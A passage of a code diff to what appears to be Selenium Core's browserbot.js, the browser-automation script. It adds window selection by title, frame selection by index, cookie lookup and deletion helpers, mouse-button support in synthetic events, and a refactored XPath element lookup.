     canBubble = (typeof(canBubble) == undefined) ? true : canBubble;
-    if (element.fireEvent) {
-        LOG.info("element has fireEvent");
+    if (element.fireEvent && element.ownerDocument && element.ownerDocument.createEventObject) { //IE
         var evt = createEventObject(element, this.controlKeyDown, this.altKeyDown, this.shiftKeyDown, this.metaKeyDown);
         evt.detail = 0;
-        evt.button = 1;
+        evt.button = button ? button : 1; // default will be the left mouse click ( http://www.javascriptkit.com/jsref/event.shtml )
         evt.relatedTarget = null;
         if (!screenX && !screenY && !clientX && !clientY && !this.controlKeyDown && !this.altKeyDown && !this.shiftKeyDown && !this.metaKeyDown) {
             element.fireEvent('on' + eventType);
@@ -228,24 +248,27 @@ BrowserBot.prototype.triggerMouseEvent = function(element, eventType, canBubble,
         }
     }
     else {
-        LOG.info("element doesn't have fireEvent");
         var evt = document.createEvent('MouseEvents');
         if (evt.initMouseEvent)
         {
-            LOG.info("element has initMouseEvent");
+            // see http://developer.mozilla.org/en/docs/DOM:event.button and
+            // http://developer.mozilla.org/en/docs/DOM:event.initMouseEvent for button ternary logic logic
             //Safari
-            evt.initMouseEvent(eventType, canBubble, true, document.defaultView, 1, screenX, screenY, clientX, clientY, 
-            	this.controlKeyDown, this.altKeyDown, this.shiftKeyDown, this.metaKeyDown, 0, null);
+            evt.initMouseEvent(eventType, canBubble, true, document.defaultView, 1, screenX, screenY, clientX, clientY,
+                this.controlKeyDown, this.altKeyDown, this.shiftKeyDown, this.metaKeyDown, button ? button : 0, null);
         }
         else {
-        	LOG.warn("element doesn't have initMouseEvent; firing an event which should -- but doesn't -- have other mouse-event related attributes here, as well as controlKeyDown, altKeyDown, shiftKeyDown, metaKeyDown");
+            LOG.warn("element doesn't have initMouseEvent; firing an event which should -- but doesn't -- have other mouse-event related attributes here, as well as controlKeyDown, altKeyDown, shiftKeyDown, metaKeyDown");
             evt.initEvent(eventType, canBubble, true);
-            
+
             evt.shiftKey = this.shiftKeyDown;
             evt.metaKey = this.metaKeyDown;
             evt.altKey = this.altKeyDown;
             evt.ctrlKey = this.controlKeyDown;
-
+            if(button)
+            {
+              evt.button = button;
+            }
         }
         element.dispatchEvent(evt);
     }
@@ -269,7 +292,7 @@ BrowserBot.prototype._modifyWindow = function(win) {
         LOG.debug('modifyWindow ' + this.uniqueId + ":" + win[this.uniqueId]);
     }
     if (!win[this.uniqueId]) {
-        win[this.uniqueId] = true;
+        win[this.uniqueId] = 1;
         this.modifyWindowToRecordPopUpDialogs(win, this);
     }
     // In proxyInjection mode, we have our own mechanism for detecting page loads
@@ -287,10 +310,32 @@ BrowserBot.prototype._modifyWindow = function(win) {
 };
 
 BrowserBot.prototype.selectWindow = function(target) {
-    if (target && target != "null") {
-        this._selectWindowByName(target);
-    } else {
+    if (!target || target == "null") {
         this._selectTopWindow();
+        return;
+    }
+    var result = target.match(/^([a-zA-Z]+)=(.*)/);
+    if (!result) {
+        try {
+            this._selectWindowByName(target);
+        }
+        catch (e) {
+            this._selectWindowByTitle(target);
+        }
+        return;
+    }
+    locatorType = result[1];
+    locatorValue = result[2];
+    if (locatorType == "title") {
+        this._selectWindowByTitle(locatorValue);
+    }
+    // TODO separate name and var into separate functions
+    else if (locatorType == "name") {
+        this._selectWindowByName(locatorValue);
+    } else if (locatorType == "var") {
+        this._selectWindowByName(locatorValue);
+    } else {
+        throw new SeleniumError("Window locator not recognized: " + locatorType);
     }
 };
 
@@ -308,8 +353,29 @@ BrowserBot.prototype._selectWindowByName = function(target) {
     this.isSubFrameSelected = false;
 }
 
+BrowserBot.prototype._selectWindowByTitle = function(target) {
+    var windowName = this.getWindowNameByTitle(target);
+    if (!windowName) {
+        this._selectTopWindow();
+    } else {
+        this._selectWindowByName(windowName);
+    }
+}
+
 BrowserBot.prototype.selectFrame = function(target) {
-    if (target == "relative=up") {
+    if (target.indexOf("index=") == 0) {
+        target = target.substr(6);
+        var frame = this.getCurrentWindow().frames[target];
+        if (frame == null) {
+            throw new SeleniumError("Not found: frames["+index+"]");
+        }
+        if (!frame.document) {
+            throw new SeleniumError("frames["+index+"] is not a frame");
+        }
+        this.currentWindow = frame;
+        this.isSubFrameSelected = true;
+    }
+    else if (target == "relative=up" || target == "relative=parent") {
         this.currentWindow = this.getCurrentWindow().parent;
         this.isSubFrameSelected = (this._getFrameElement(this.currentWindow) != null);
     } else if (target == "relative=top") {
@@ -338,11 +404,11 @@ BrowserBot.prototype.selectFrame = function(target) {
             this.isSubFrameSelected = true;
             match = true;
         }
-        
+
         if (!match) {
             // neither, let's loop through the frame names
             var win = this.getCurrentWindow();
-            
+
             if (win && win.frames && win.frames.length) {
                 for (var i = 0; i < win.frames.length; i++) {
                     if (win.frames[i].name == target) {
@@ -362,6 +428,65 @@ BrowserBot.prototype.selectFrame = function(target) {
     this.getCurrentWindow();
 };
 
+BrowserBot.prototype.doesThisFrameMatchFrameExpression = function(currentFrameString, target) {
+    var isDom = false;
+    if (target.indexOf("dom=") == 0) {
+        target = target.substr(4);
+        isDom = true;
+    } else if (target.indexOf("index=") == 0) {
+        target = "frames[" + target.substr(6) + "]";
+        isDom = true;
+    }
+    var t;
+    try {
+        eval("t=" + currentFrameString + "." + target);
+    } catch (e) {
+    }
+    var autWindow = this.browserbot.getCurrentWindow();
+    if (t != null) {
+        try {
+            if (t.window == autWindow) {
+                return true;
+            }
+            if (t.window.uniqueId == autWindow.uniqueId) {
+                return true;
+               }
+            return false;
+        } catch (permDenied) {
+            // DGF if the windows are incomparable, they're probably not the same...
+        }
+    }
+    if (isDom) {
+        return false;
+    }
+    var currentFrame;
+    eval("currentFrame=" + currentFrameString);
+    if (target == "relative=up") {
+        if (currentFrame.window.parent == autWindow) {
+            return true;
+        }
+        return false;
+    }
+    if (target == "relative=top") {
+        if (currentFrame.window.top == autWindow) {
+            return true;
+        }
+        return false;
+    }
+    if (currentFrame.window == autWindow.parent) {
+        if (autWindow.name == target) {
+            return true;
+        }
+        try {
+            var element = this.findElement(target, currentFrame.window);
+            if (element.contentWindow == autWindow) {
+                return true;
+            }
+        } catch (e) {}
+    }
+    return false;
+};
+
 BrowserBot.prototype.openLocation = function(target) {
     // We're moving to a new page - clear the current one
     var win = this.getCurrentWindow();
@@ -413,16 +538,18 @@ BrowserBot.prototype.getCurrentPage = function() {
 BrowserBot.prototype.modifyWindowToRecordPopUpDialogs = function(windowToModify, browserBot) {
     var self = this;
 
+    windowToModify.seleniumAlert = windowToModify.alert;
+
     windowToModify.alert = function(alert) {
         browserBot.recordedAlerts.push(alert);
-        self.relayBotToRC("browserbot.recordedAlerts");
+        self.relayBotToRC.call(self, "browserbot.recordedAlerts");
     };
 
     windowToModify.confirm = function(message) {
         browserBot.recordedConfirmations.push(message);
         var result = browserBot.nextConfirmResult;
         browserBot.nextConfirmResult = true;
-        self.relayBotToRC("browserbot.recordedConfirmations");
+        self.relayBotToRC.call(self, "browserbot.recordedConfirmations");
         return result;
     };
 
@@ -431,7 +558,7 @@ BrowserBot.prototype.modifyWindowToRecordPopUpDialogs = function(windowToModify,
         var result = !browserBot.nextConfirmResult ? null : browserBot.nextPromptResult;
         browserBot.nextConfirmResult = true;
         browserBot.nextPromptResult = '';
-        self.relayBotToRC("browserbot.recordedPrompts");
+        self.relayBotToRC.call(self, "browserbot.recordedPrompts");
         return result;
     };
 
@@ -443,28 +570,32 @@ BrowserBot.prototype.modifyWindowToRecordPopUpDialogs = function(windowToModify,
         originalOpenReference = 'selenium_originalOpen' + new Date().getTime();
         windowToModify[originalOpenReference] = windowToModify.open;
     }
-    
+
     var isHTA = browserVersion.isHTA;
-    
+
     var newOpen = function(url, windowName, windowFeatures, replaceFlag) {
         var myOriginalOpen = originalOpen;
         if (isHTA) {
             myOriginalOpen = this[originalOpenReference];
         }
+        if (windowName == "" || windowName == "_blank") {
+            windowName = "selenium_blank" + Math.round(100000 * Math.random());
+            LOG.warn("Opening window '_blank', which is not a real window name.  Randomizing target to be: " + windowName);
+        }
         var openedWindow = myOriginalOpen(url, windowName, windowFeatures, replaceFlag);
         LOG.debug("window.open call intercepted; window ID (which you can use with selectWindow()) is \"" +  windowName + "\"");
         if (windowName!=null) {
-        	openedWindow["seleniumWindowName"] = windowName;
+            openedWindow["seleniumWindowName"] = windowName;
         }
         selenium.browserbot.openedWindows[windowName] = openedWindow;
         return openedWindow;
     };
-    
+
     if (browserVersion.isHTA) {
         originalOpenReference = 'selenium_originalOpen' + new Date().getTime();
         newOpenReference = 'selenium_newOpen' + new Date().getTime();
         var setOriginalRef = "this['" + originalOpenReference + "'] = this.open;";
-        
+
         if (windowToModify.eval) {
             windowToModify.eval(setOriginalRef);
             windowToModify.open = newOpen;
@@ -510,7 +641,12 @@ BrowserBot.prototype.modifySeparateTestWindowToDetectPageLoads = function(window
         LOG.debug("modifySeparateTestWindowToDetectPageLoads: this window is a frame; attaching a load listener");
         addLoadListener(frameElement, this.recordPageLoad);
         frameElement[marker] = true;
-        frameElement[this.uniqueId] = marker;
+        frameElement["frame"+this.uniqueId] = marker;
+	LOG.debug("dgf this.uniqueId="+this.uniqueId);
+	LOG.debug("dgf marker="+marker);
+	LOG.debug("dgf frameElement['frame'+this.uniqueId]="+frameElement['frame'+this.uniqueId]);
+frameElement[this.uniqueId] = marker;
+LOG.debug("dgf frameElement[this.uniqueId]="+frameElement[this.uniqueId]);
     } else {
         windowObject.location[marker] = true;
         windowObject[this.uniqueId] = marker;
@@ -539,15 +675,51 @@ BrowserBot.prototype._getFrameElement = function(win) {
         try {
             parentContainsIdenticallyNamedFrame = win.parent.frames[win.name];
         } catch (e) {} // this may fail if access is denied to the parent; in that case, assume it's not a pop-up
-        
+
         if (parentContainsIdenticallyNamedFrame) {
             // it can't be a coincidence that the parent has a frame with the same name as myself!
-            return BrowserBot.prototype.locateElementByName(win.name, win.parent.document, win.parent);
+            var result;
+            try {
+                result = parentContainsIdenticallyNamedFrame.frameElement;
+                if (result) {
+                    return result;
+                }
+            } catch (e) {} // it was worth a try! _getFrameElementsByName is often slow
+            result = this._getFrameElementByName(win.name, win.parent.document, win);
+            return result;
         }
-    } 
+    }
+    LOG.debug("_getFrameElement: frameElement="+frameElement); 
+    if (frameElement) {
+        LOG.debug("frameElement.name="+frameElement.name);
+    }
     return frameElement;
 }
 
+BrowserBot.prototype._getFrameElementByName = function(name, doc, win) {
+    var frames;
+    var frame;
+    var i;
+    frames = doc.getElementsByTagName("iframe");
+    for (i = 0; i < frames.length; i++) {
+        frame = frames[i];        
+        if (frame.name === name) {
+            return frame;
+        }
+    }
+    frames = doc.getElementsByTagName("frame");
+    for (i = 0; i < frames.length; i++) {
+        frame = frames[i];        
+        if (frame.name === name) {
+            return frame;
+        }
+    }
+    // DGF weird; we only call this function when we know the doc contains the frame
+    LOG.warn("_getFrameElementByName couldn't find a frame or iframe; checking every element for the name " + name);
+    return BrowserBot.prototype.locateElementByName(win.name, win.parent.document);
+}
+    
+
 /**
  * Set up a polling timer that will keep checking the readyState of the document until it's complete.
  * Since we might call this before the original page is unloaded, we first check to see that the current location
@@ -594,8 +766,9 @@ BrowserBot.prototype.pollForLoad = function(loadFunction, windowObject, original
         LOG.debug("pollForLoad continue (" + marker + "): " + currentHref);
         this.reschedulePoller(loadFunction, windowObject, originalDocument, originalLocation, originalHref, marker);
     } catch (e) {
-        LOG.error("Exception during pollForLoad; this should get noticed soon (" + e.message + ")!");
-        LOG.exception(e);
+        LOG.debug("Exception during pollForLoad; this should get noticed soon (" + e.message + ")!");
+        //DGF this is supposed to get logged later; log it at debug just in case
+        //LOG.exception(e);
         this.pageLoadError = e;
     }
 };
@@ -735,7 +908,7 @@ BrowserBot.prototype.isPollingForLoad = function(win) {
     var frameElement = this._getFrameElement(win);
     var htaSubFrame = this._isHTASubFrame(win);
     if (frameElement && !htaSubFrame) {
-        marker = frameElement[this.uniqueId];
+	marker = frameElement["frame"+this.uniqueId];
     } else {
         marker = win[this.uniqueId];
     }
@@ -773,7 +946,7 @@ BrowserBot.prototype.getWindowByName = function(windowName, doNotModify) {
         }
     }
     if (!targetWindow) {
-        throw new SeleniumError("Window does not exist");
+        throw new SeleniumError("Window does not exist. If this looks like a Selenium bug, make sure to read http://selenium-core.openqa.org/reference.html#openWindow for potential workarounds.");
     }
     if (browserVersion.isHTA) {
         try {
@@ -789,25 +962,73 @@ BrowserBot.prototype.getWindowByName = function(windowName, doNotModify) {
     return targetWindow;
 };
 
+/**
+ * Find a window name from the window title.
+ */
+BrowserBot.prototype.getWindowNameByTitle = function(windowTitle) {
+    LOG.debug("getWindowNameByTitle(" + windowTitle + ")");
+
+    // First look in the map of opened windows and iterate them
+    for (var windowName in this.openedWindows) {
+        var targetWindow = this.openedWindows[windowName];
+
+        // If the target window's title is our title
+        try {
+            // TODO implement Pattern Matching here
+            if (!this._windowClosed(targetWindow) &&
+                targetWindow.document.title == windowTitle) {
+                return windowName;
+            }
+        } catch (e) {
+            // You'll often get Permission Denied errors here in IE
+            // eh, if we can't read this window's title,
+            // it's probably not available to us right now anyway
+        }
+    }
+    
+    try {
+        if (this.topWindow.document.title == windowTitle) {
+            return "";
+        }
+    } catch (e) {} // IE Perm denied
+
+    throw new SeleniumError("Could not find window with title " + windowTitle);
+};
+
 BrowserBot.prototype.getCurrentWindow = function(doNotModify) {
+    if (this.proxyInjectionMode) {
+        return window;
+    }
     var testWindow = this.currentWindow;
     if (!doNotModify) {
         this._modifyWindow(testWindow);
-        if (!this.proxyInjectionMode) {
-            // In proxy injection mode, have to avoid logging during getCurrentWindow to avoid an infinite loop
-            LOG.debug("getCurrentWindow newPageLoaded = false");
-        }
+        LOG.debug("getCurrentWindow newPageLoaded = false");
         this.newPageLoaded = false;
     }
     testWindow = this._handleClosedSubFrame(testWindow, doNotModify);
     return testWindow;
 };
 
+/**
+ * Offer a method the end-user can reliably use to retrieve the current window.
+ * This should work even for windows with an XPCNativeWrapper. Returns the
+ * current window object.
+ */
+BrowserBot.prototype.getUserWindow = function() {
+    var userWindow = this.getCurrentWindow(true);
+    
+    if (userWindow.wrappedJSObject) {
+        userWindow = userWindow.wrappedJSObject;
+    }
+    
+    return userWindow;
+};
+
 BrowserBot.prototype._handleClosedSubFrame = function(testWindow, doNotModify) {
     if (this.proxyInjectionMode) {
         return testWindow;
     }
-    
+
     if (this.isSubFrameSelected) {
         var missing = true;
         if (testWindow.parent && testWindow.parent.frames && testWindow.parent.frames.length) {
@@ -902,6 +1123,103 @@ BrowserBot.prototype.getTitle = function() {
     return t;
 }
 
+BrowserBot.prototype.getCookieByName = function(cookieName, doc) {
+    if (!doc) doc = this.getDocument();
+    var ck = doc.cookie;
+    if (!ck) return null;
+    var ckPairs = ck.split(/;/);
+    for (var i = 0; i < ckPairs.length; i++) {
+        var ckPair = ckPairs[i].trim();
+        var ckNameValue = ckPair.split(/=/);
+        var ckName = decodeURIComponent(ckNameValue[0]);
+        if (ckName === cookieName) {
+            return decodeURIComponent(ckNameValue[1]);
+        }
+    }
+    return null;
+}
+
+BrowserBot.prototype.getAllCookieNames = function(doc) {
+    if (!doc) doc = this.getDocument();
+    var ck = doc.cookie;
+    if (!ck) return [];
+    var cookieNames = [];
+    var ckPairs = ck.split(/;/);
+    for (var i = 0; i < ckPairs.length; i++) {
+        var ckPair = ckPairs[i].trim();
+        var ckNameValue = ckPair.split(/=/);
+        var ckName = decodeURIComponent(ckNameValue[0]);
+        cookieNames.push(ckName);
+    }
+    return cookieNames;
+}
+
+BrowserBot.prototype.deleteCookie = function(cookieName, domain, path, doc) {
+    if (!doc) doc = this.getDocument();
+    var expireDateInMilliseconds = (new Date()).getTime() + (-1 * 1000);
+    var cookie = cookieName + "=deleted; ";
+    if (path) {
+        cookie += "path=" + path + "; ";
+    }
+    if (domain) {
+        cookie += "domain=" + domain + "; ";
+    }
+    cookie += "expires=" + new Date(expireDateInMilliseconds).toGMTString();
+    LOG.debug("Setting cookie to: " + cookie);
+    doc.cookie = cookie;
+}
+
+/** Try to delete cookie, return false if it didn't work */
+BrowserBot.prototype._maybeDeleteCookie = function(cookieName, domain, path, doc) {
+    this.deleteCookie(cookieName, domain, path, doc);
+    return (!this.getCookieByName(cookieName, doc));
+}
+    
+
+BrowserBot.prototype._recursivelyDeleteCookieDomains = function(cookieName, domain, path, doc) {
+    var deleted = this._maybeDeleteCookie(cookieName, domain, path, doc);
+    if (deleted) return true;
+    var dotIndex = domain.indexOf(".");
+    if (dotIndex == 0) {
+        return this._recursivelyDeleteCookieDomains(cookieName, domain.substring(1), path, doc);
+    } else if (dotIndex != -1) {
+        return this._recursivelyDeleteCookieDomains(cookieName, domain.substring(dotIndex), path, doc);
+    } else {
+        // No more dots; try just not passing in a domain at all
+        return this._maybeDeleteCookie(cookieName, null, path, doc);
+    }
+}
+
+BrowserBot.prototype._recursivelyDeleteCookie = function(cookieName, domain, path, doc) {
+    var slashIndex = path.lastIndexOf("/");
+    var finalIndex = path.length-1;
+    if (slashIndex == finalIndex) {
+        slashIndex--;
+    }
+    if (slashIndex != -1) {
+        deleted = this._recursivelyDeleteCookie(cookieName, domain, path.substring(0, slashIndex+1), doc);
+        if (deleted) return true;
+    }
+    return this._recursivelyDeleteCookieDomains(cookieName, domain, path, doc);
+}
+
+BrowserBot.prototype.recursivelyDeleteCookie = function(cookieName, domain, path, win) {
+    if (!win) win = this.getCurrentWindow();
+    var doc = win.document;
+    if (!domain) {
+        domain = doc.domain;
+    }
+    if (!path) {
+        path = win.location.pathname;
+    }
+    var deleted = this._recursivelyDeleteCookie(cookieName, "." + domain, path, doc);
+    if (deleted) return;
+    // Finally try a null path (Try it last because it's uncommon)
+    deleted = this._recursivelyDeleteCookieDomains(cookieName, "." + domain, null, doc);
+    if (deleted) return;
+    throw new SeleniumError("Couldn't delete cookie " + cookieName);
+}
+
 /*
  * Finds an element recursively in frames and nested frames
  * in the specified document, using various lookup protocols
@@ -912,12 +1230,16 @@ BrowserBot.prototype.findElementRecursive = function(locatorType, locatorString,
     if (element != null) {
         return element;
     }
-    
-    for (var i = 0; i < inWindow.frames.length; i++) {        
-        element = this.findElementRecursive(locatorType, locatorString, inWindow.frames[i].document, inWindow.frames[i]);
-        
-        if (element != null) {
-        	return element;
+
+    for (var i = 0; i < inWindow.frames.length; i++) {
+        // On some browsers, the document object is undefined for third-party
+        // frames.  Make sure the document is valid before continuing.
+        if (inWindow.frames[i].document) {
+            element = this.findElementRecursive(locatorType, locatorString, inWindow.frames[i].document, inWindow.frames[i]);
+
+            if (element != null) {
+                return element;
+            }
         }
     }
 };
@@ -925,27 +1247,28 @@ BrowserBot.prototype.findElementRecursive = function(locatorType, locatorString,
 /*
 * Finds an element on the current page, using various lookup protocols
 */
-BrowserBot.prototype.findElement = function(locator) {
-    var locatorType = 'implicit';
-    var locatorString = locator;
+BrowserBot.prototype.findElementOrNull = function(locator, win) {
+    locator = parse_locator(locator);
 
-    // If there is a locator prefix, use the specified strategy
-    var result = locator.match(/^([A-Za-z]+)=(.+)/);
-    if (result) {
-        locatorType = result[1].toLowerCase();
-        locatorString = result[2];
+    if (win == null) {
+        win = this.getCurrentWindow();
     }
-    
-    var element = this.findElementRecursive(locatorType, locatorString, this.getDocument(), this.getCurrentWindow())
-    
+    var element = this.findElementRecursive(locator.type, locator.string, win.document, win);
+
     if (element != null) {
-    	return this.browserbot.highlight(element);
+        return this.browserbot.highlight(element);
     }
 
     // Element was not found by any locator function.
-    throw new SeleniumError("Element " + locator + " not found");
+    return null;
 };
 
+BrowserBot.prototype.findElement = function(locator, win) {
+    var element = this.findElementOrNull(locator, win);
+    if (element == null) throw new SeleniumError("Element " + locator + " not found");
+    return element;
+}
+
 /**
  * In non-IE browsers, getElementById() does not search by name.  Instead, we
  * we search separately by id and name.
@@ -961,9 +1284,15 @@ BrowserBot.prototype.locateElementByIdentifier = function(identifier, inDocument
  */
 BrowserBot.prototype.locateElementById = function(identifier, inDocument, inWindow) {
     var element = inDocument.getElementById(identifier);
-    if (element && element.id === identifier) {
+    if (element && element.getAttribute('id') === identifier) {
         return element;
     }
+    else if (browserVersion.isIE || browserVersion.isOpera) {
+        // SEL-484
+        var xpath = '/descendant::*[@id=' + identifier.quoteForXPath() + ']';
+        return BrowserBot.prototype
+            .locateElementByXPath(xpath, inDocument, inWindow);
+    }
     else {
         return null;
     }
@@ -1000,8 +1329,7 @@ BrowserBot.prototype.locateElementByDomTraversal = function(domTraversal, docume
     try {
         element = eval(domTraversal);
     } catch (e) {
-        e.isSeleniumError = true;
-        throw e;
+        return null;
     }
 
     if (!element) {
@@ -1017,80 +1345,14 @@ BrowserBot.prototype.locateElementByDomTraversal.prefix = "dom";
  * begin with "//".
  */
 BrowserBot.prototype.locateElementByXPath = function(xpath, inDocument, inWindow) {
-
-    // Trim any trailing "/": not valid xpath, and remains from attribute
-    // locator.
-    if (xpath.charAt(xpath.length - 1) == '/') {
-        xpath = xpath.slice(0, -1);
-    }
-
-    // Handle //tag
-    var match = xpath.match(/^\/\/(\w+|\*)$/);
-    if (match) {
-        var elements = inDocument.getElementsByTagName(match[1].toUpperCase());
-        if (elements == null) return null;
-        return elements[0];
-    }
-
-    // Handle //tag[@attr='value']
-    var match = xpath.match(/^\/\/(\w+|\*)\[@(\w+)=('([^\']+)'|"([^\"]+)")\]$/);
-    if (match) {
-        // We don't return the value without checking if it is null first.
-        // This is beacuse in some rare cases, this shortcut actually WONT work
-        // but that the full XPath WILL. A known case, for example, is in IE
-        // when the attribute is onclick/onblur/onsubmit/etc. Due to a bug in IE
-        // this shortcut won't work because the actual function is returned
-        // by getAttribute() rather than the text of the attribute.
-        var val = this._findElementByTagNameAndAttributeValue(
-                inDocument,
-                match[1].toUpperCase(),
-                match[2].toLowerCase(),
-                match[3].slice(1, -1)
-                );
-        if (val) {
-            return val;
-        }
-    }
-
-    // Handle //tag[text()='value']
-    var match = xpath.match(/^\/\/(\w+|\*)\[text\(\)=('([^\']+)'|"([^\"]+)")\]$/);
-    if (match) {
-        return this._findElementByTagNameAndText(
-                inDocument,
-                match[1].toUpperCase(),
-                match[2].slice(1, -1)
-                );
-    }
-
-    return this._findElementUsingFullXPath(xpath, inDocument);
-};
-
-BrowserBot.prototype._findElementByTagNameAndAttributeValue = function(
-        inDocument, tagName, attributeName, attributeValue
-        ) {
-    if (browserVersion.isIE && attributeName == "class") {
-        attributeName = "className";
-    }
-    var elements = inDocument.getElementsByTagName(tagName);
-    for (var i = 0; i < elements.length; i++) {
-        var elementAttr = elements[i].getAttribute(attributeName);
-        if (elementAttr == attributeValue) {
-            return elements[i];
-        }
-    }
-    return null;
-};
-
-BrowserBot.prototype._findElementByTagNameAndText = function(
-        inDocument, tagName, text
-        ) {
-    var elements = inDocument.getElementsByTagName(tagName);
-    for (var i = 0; i < elements.length; i++) {
-        if (getText(elements[i]) == text) {
-            return elements[i];
-        }
-    }
-    return null;
+    var results = eval_xpath(xpath, inDocument, {
+        returnOnFirstMatch          : true,
+        ignoreAttributesWithoutValue: this.ignoreAttributesWithoutValue,
+        allowNativeXpath            : this.allowNativeXpath,
+        xpathLibrary                : this.xpathLibrary,
+        namespaceResolver           : this._namespaceResolver
+    });
+    return (results.length > 0) ? results[0] : null;
 };
 
 BrowserBot.prototype._namespaceResolver = function(prefix) {
@@ -1103,25 +1365,17 @@ BrowserBot.prototype._namespaceResolver = function(prefix) {
     }
 }
 
-BrowserBot.prototype._findElementUsingFullXPath = function(xpath, inDocument, inWindow) {
-    // HUGE hack - remove namespace from xpath for IE
-    if (browserVersion.isIE) {
-        xpath = xpath.replace(/x:/g, '')
-    }
-
-    // Use document.evaluate() if it's available
-    if (inDocument.evaluate) {
-        return inDocument.evaluate(xpath, inDocument, this._namespaceResolver, 0, null).iterateNext();
-    }
-
-    // If not, fall back to slower JavaScript implementation
-    var context = new ExprContext(inDocument);
-    var xpathObj = xpathParse(xpath);
-    var xpathResult = xpathObj.evaluate(context);
-    if (xpathResult && xpathResult.value) {
-        return xpathResult.value[0];
-    }
-    return null;
+/**
+ * Returns the number of xpath results.
+ */
+BrowserBot.prototype.evaluateXPathCount = function(xpath, inDocument) {
+    var results = eval_xpath(xpath, inDocument, {
+        ignoreAttributesWithoutValue: this.ignoreAttributesWithoutValue,
+        allowNativeXpath            : this.allowNativeXpath,
+        xpathLibrary                : this.xpathLibrary,
+        namespaceResolver           : this._namespaceResolver
+    });
+    return results.length;
 };
 
 /**
@@ -1160,6 +1414,11 @@ BrowserBot.prototype.findAttribute = function(locator) {
 
     // Get the attribute value.
     var attributeValue = element.getAttribute(attributeName);
+    
+    // IE returns an object for the "style" attribute
+    if (attributeName == 'style' && typeof(attributeValue) != 'string') {
+        attributeValue = attributeValue.cssText;
+    }
 
     return attributeValue ? attributeValue.toString() : null;
 };
@@ -1227,12 +1486,10 @@ BrowserBot.prototype.replaceText = function(element, stringValue) {
     if (maxLengthAttr != null) {
         var maxLength = parseInt(maxLengthAttr);
         if (stringValue.length > maxLength) {
-            LOG.warn("BEFORE")
             actualValue = stringValue.substr(0, maxLength);
-            LOG.warn("AFTER")
         }
     }
-    
+
     if (getTagName(element) == "body") {
         if (element.ownerDocument && element.ownerDocument.designMode) {
             var designMode = new String(element.ownerDocument.designMode).toLowerCase();
@@ -1290,11 +1547,16 @@ BrowserBot.prototype.submit = function(formElement) {
 BrowserBot.prototype.clickElement = function(element, clientX, clientY) {
        this._fireEventOnElement("click", element, clientX, clientY);
 };
-    
+
 BrowserBot.prototype.doubleClickElement = function(element, clientX, clientY) {
        this._fireEventOnElement("dblclick", element, clientX, clientY);
 };
 
+// The contextmenu event is fired when the user right-clicks to open the context menu
+BrowserBot.prototype.contextMenuOnElement = function(element, clientX, clientY) {
+       this._fireEventOnElement("contextmenu", element, clientX, clientY);
+};
+
 BrowserBot.prototype._modifyElementTarget = function(element) {
     if (element.target) {
         if (element.target == "_blank" || /^selenium_blank/.test(element.target) ) {
@@ -1311,8 +1573,13 @@ BrowserBot.prototype._modifyElementTarget = function(element) {
 
 
 BrowserBot.prototype._handleClickingImagesInsideLinks = function(targetWindow, element) {
-    if (element.parentNode && element.parentNode.href) {
-        targetWindow.location.href = element.parentNode.href;
+    var itrElement = element;
+    while (itrElement != null) {
+        if (itrElement.href) {
+            targetWindow.location.href = itrElement.href;
+            break;
+        }
+        itrElement = itrElement.parentNode;
     }
 }
 
@@ -1325,7 +1592,10 @@ BrowserBot.prototype._getTargetWindow = function(element) {
 }
 
 BrowserBot.prototype._getFrameFromGlobal = function(target) {
-    
+
+    if (target == "_self") {
+        return this.getCurrentWindow();
+    }
     if (target == "_top") {
         return this.topFrame;
     } else if (target == "_parent") {
@@ -1345,18 +1615,19 @@ BrowserBot.prototype._getFrameFromGlobal = function(target) {
 
 
 BrowserBot.prototype.bodyText = function() {
+    if (!this.getDocument().body) {
+        throw new SeleniumError("Couldn't access document.body.  Is this HTML page fully loaded?");
+    }
     return getText(this.getDocument().body);
 };
 
 BrowserBot.prototype.getAllButtons = function() {
     var elements = this.getDocument().getElementsByTagName('input');
-    var result = '';
+    var result = [];
 
     for (var i = 0; i < elements.length; i++) {
         if (elements[i].type == 'button' || elements[i].type == 'submit' || elements[i].type == 'reset') {
-            result += elements[i].id;
-
-            result += ',';
+            result.push(elements[i].id);
         }
     }
 
@@ -1366,13 +1637,11 @@ BrowserBot.prototype.getAllButtons = function() {
 
 BrowserBot.prototype.getAllFields = function() {
     var elements = this.getDocument().getElementsByTagName('input');
-    var result = '';
+    var result = [];
 
     for (var i = 0; i < elements.length; i++) {
         if (elements[i].type == 'text') {
-            result += elements[i].id;
-
-            result += ',';
+            result.push(elements[i].id);
         }
     }
 
@@ -1381,29 +1650,15 @@ BrowserBot.prototype.getAllFields = function() {
 
 BrowserBot.prototype.getAllLinks = function() {
     var elements = this.getDocument().getElementsByTagName('a');
-    var result = '';
+    var result = [];
 
     for (var i = 0; i < elements.length; i++) {
-        result += elements[i].id;
-
-        result += ',';
+        result.push(elements[i].id);
     }
 
     return result;
 };
 
-BrowserBot.prototype.setContext = function(strContext, logLevel) {
-
-    //set the current test title
-    var ctx = document.getElementById("context");
-    if (ctx != null) {
-        ctx.innerHTML = strContext;
-    }
-    if (logLevel != null) {
-        LOG.setLogLevelThreshold(logLevel);
-    }
-};
-
 function isDefined(value) {
     return typeof(value) != undefined;
 }
@@ -1417,10 +1672,21 @@ BrowserBot.prototype.goForward = function() {
 };
 
 BrowserBot.prototype.close = function() {
+    if (browserVersion.isIE) {
+        // fix "do you want to close this window" warning in IE
+        // You can only close windows that you have opened.
+        // So, let's "open" it.
+        try {
+            this.topFrame.name=new Date().getTime();
+            window.open("", this.topFrame.name, "");
+            this.topFrame.close();
+            return;
+        } catch (e) {}
+    }
     if (browserVersion.isChrome || browserVersion.isSafari || browserVersion.isOpera) {
-        this.getCurrentWindow().close();
+        this.topFrame.close();
     } else {
-        this.getCurrentWindow().eval("window.close();");
+        this.getCurrentWindow().eval("window.top.close();");
     }
 };
 
@@ -1513,12 +1779,75 @@ BrowserBot.prototype.locateElementByAlt = function(locator, document) {
  * Find an element by css selector
  */
 BrowserBot.prototype.locateElementByCss = function(locator, document) {
-    var elements = cssQuery(locator, document);
+    var elements = eval_css(locator, document);
     if (elements.length != 0)
         return elements[0];
     return null;
 }
 
+/**
+ * This function is responsible for mapping a UI specifier string to an element
+ * on the page, and returning it. If no element is found, null is returned.
+ * Returning null on failure to locate the element is part of the undocumented
+ * API for locator strategies.
+ */
+BrowserBot.prototype.locateElementByUIElement = function(locator, inDocument) {
+    // offset locators are delimited by "->", which is much simpler than the
+    // previous scheme involving detecting the close-paren.
+    var locators = locator.split(/->/, 2);
+    
+    var locatedElement = null;
+    var pageElements = UIMap.getInstance()
+        .getPageElements(locators[0], inDocument);
+    
